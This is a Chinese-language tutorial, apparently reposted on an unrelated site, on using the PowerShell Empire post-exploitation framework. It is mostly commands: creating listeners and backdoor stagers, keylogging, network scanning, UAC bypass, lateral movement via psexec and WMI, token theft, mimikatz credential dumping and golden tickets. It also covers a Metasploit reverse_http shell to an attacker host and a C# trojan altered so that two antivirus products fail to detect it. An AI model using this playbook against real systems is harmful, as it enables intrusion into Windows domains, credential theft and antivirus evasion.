PowerShellEmpire的后渗透利用 | 您所在的位置:网站首页 › pip install安装本地包 › PowerShellEmpire的后渗透利用 |
Empire 后渗透框架主要用于 Windows 内网渗透,该框架主要基于 Powershell 和 Python,它提供了一个模块的架构,帮助攻击者可以创建和执行各种攻击策略,支持包括域内渗透、宏钓鱼、内网横向、权限维持、后门生成等多个模块。 官网:http://www.powershellempire.com 0x01 下载安装安装 Empire 由两种方式,分别是基于源码安装和 apt 包安装 源码安装在 Github 中下载 Empire git clone https://github.com/EmpireProject/Empire直接安装 Empire 会报错 ./setup/install.sh需要安装以下 Python 库,当然在安装库时会遇到很多问题,以下是遇到问题后的解决方法 pip install pyOpenSSL pip install iptools pip install netifaces pip install pydispatch pip install pydispatcher pip install zlib_wrapper pip install macholib pip install xlrd pip install xlutils pip install pyminifier pip install dropbox pip install pefileimportlib无法安装解决方法 apt-get install build-essential python3-dev python2-dev libssl-dev swigM2Crypto无法安装解决方法 pip install ~/Desktop/M2Crypto-0.38.0.tar.gzdispatch无法安装解决方法 pip install --upgrade setuptoolsCryPto.Cipher报错解决方法 pip uninstall crypto pip install pycrypto下载地址:https://pypi.org/project/M2Crypto/#files 安装完成后成功启动 Empire 使用 apt 包安装 Empire apt install powershell-empire powershell-empire进入 Empire 输入help可查看帮助文档 输入listeners进入监听器设置,按tab自动补全(如果不清楚均可使用该方法) 设置 http 监听器 uselistener http info #查看监听器信息在监听器模块中带有True属性的值必须填写,其他属性可能会存在默认值,使用set和unset可改变设置,首先设置监听器名为test set Name test设置监听默认是80端口,但是80端口通常是 Web 服务器,修改端口为8080 set Host http://172.16.54.51:8080 set Port 8080开启监听器 execute删除监听器 back list kill test使用usestager选择后门模块 usestager windows/launcher_bat设置监听器和输出目录 set Listener test set OutFile /tmp/lanuncher.bat #默认输出/tmp目录 execute在/tmp目录成功找到生成后门 把输出的后门放入目标系统中执行,执行成功后收到响应 活动代理使用agents查看当前会话,通过interact进入会话 agents interact 22FLR8SU如果觉得会话名称太过复杂,可重命名会话 rename win7agents下可使用命令如下: 查看系统信息 sysinfo查询agents命令 help agentscmds执行终端命令 shell whoami使用截图功能 sc使用键盘记录 usemodule collection/keylogger execute使用剪切版 usemodule collection/clipboard_monitor executeARP 扫描模块 sleep 0 #设置间隔时间 usemodule situational_awareness/network/arpscan set Range 192.168.0.1-192.168.0.100 executeSMB 扫描模块 usemodule situational_awareness/network/smbscanner set UserName administrator set Password mac execute端口扫描模块 usemodule situational_awareness/network/portscan set Hosts 192.168.0.1-100 set Ports 445 execute查找本地管理员主机 usemodule situational_awareness/network/powerview/find_localadmin_access execute查看共享文件 usemodule situational_awareness/network/powerview/share_finder executeWindows 本地信息收集 usemodule situational_awareness/host/winenum execute当前权限并非管理员,需要提权操作 使用 UAC bypass 模块提权 usemodule privesc/bypassuac set Listener test execute使用 powerup 检查可提权项,找到后可利用环境向量提权 usemodule privesc/powerup/allchecks set Listener test execute使用计划任务进行提权 usemodule persistence/elevated/schtasks* set Listener test execute通过溢出漏洞提权,比如烂土豆漏洞 成功提权至 SYSTEM agents当前已取得域内普通用户mac和本地管理员权限 agents基础信息收集,包括系统信息、用户信息、网络环境等 sysinfo whoami info使用 ARP 扫描,成功找到192.168.52.0/24存在四台主机 usemodule situational_awareness/network/arpscan set Range 192.168.52.0/24 execute查找本地管理员 usemodule situation_awareness/network/powerview/find_localadmin_access execute查看当前用户是否为其他主机上的本地管理员 shell dir \\192.168.52.141\C$成功找到域控主机IP为192.168.52.138 usemodule situation_awareness/network/powerview/get_domain_controller execute使用会话注入需要管理员权限,切换本地管理员后把当前会话注入到其他主机上 usemodule lateral_movement/invoke_psexec set Listener test set ComputerName stu1 execute使用invoke_wmi模块相比invoke_psexec更加隐蔽 usemodule lateral_movement/invoke_wmi set Listener test set ComputerName stu1 execute在新会话中查看进程发现域管理员进程 ps选择目标 PID 号后窃取域管理员 token steal_token 1740 shell dir \\OWA\C$如果需要恢复原来的身份可使用以下命令 revtoself利用 mimikatz 拿到管理员密码明文和哈希 mimikatz查看所有用户凭证如下: creds利用哈希传递可拿到域控访问权限 黄金票据在域控下使用lsadump模块获取域内所有用户哈希 usemodule credentials/mimikatz/lsadump creds成功拿到krbtgt用户哈希 利用golden_ticket制作黄金票据 usemodule credentials/mimikatz/golden_ticket set credid 10 set user administrator execute使用spawn模块生成新会话 usemodule management/spawn set Listener test execute查看进程并选择需注入的进程ID ps
首先在 MSF 中设置 http 监听 use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.0.50 set lport 4444 exploit -j在 Empire 中设置反弹,其中 payload 需要与上对应 usemodule code_execution/invoke_shellcode set Lhost 192.168.0.50 set Lport 4444 set Payload reverse_http execute
Empire 存在 web 版本,把 PHP 和 Empire 结合的方式通过网页进行访问 下载地址:https://github.com/interference-security/empire-web/ 下载 empire-web git clone https://github.com/interference-security/empire-web/安装 PHP 扩展,需根据本机的 PHP 版本进行修改 apt-get install php7.4-curl重启 Apache 后启用扩展 /etc/init.d/apache2 restart 基础使用设置绑定端口和登录账号密码 ./empire --rest --restport 1337 --username admin --password 3mpir3admin访问站点输入账号密码admin/3mpir3admin 成功登录能够可视化各个模块 查看Agents模块 查看已获取的用户凭证 查看文件系统 准备 Visual Stido 用于编译 C# 文件 下载地址:http://download.microsoft.com/download/B/0/F/B0F589ED-F1B7-478C-849A-02C8395D0995/VS2012_ULT_chs.iso 生成 C# 类型木马 usestager windows/csharp_exe set Listener test info execute成功生成后门文件launcher.src 使用 Visual Stdio 打开cmd.sln 需要安装.net 2.0环境,打开程序与功能中的添加或删除程序安装net 3.5版本,如果无法安装,打开组策略》系统〉指定可选组件安装和组件修复的设置 .net支持:https://dotnet.microsoft.com/en-us/download/visual-studio-sdks 修改命名空间为mac123并添加花指令 var a = "12345678"; var b = "67890123";完成后编译生成程序文件 使用火绒成功免杀 使用360成功免杀 但是执行后360会对行为查杀,上线则不受影响 成功进入新会话当中 interact XWVH8ME2 |
CopyRight 2018-2019 实验室设备网 版权所有 |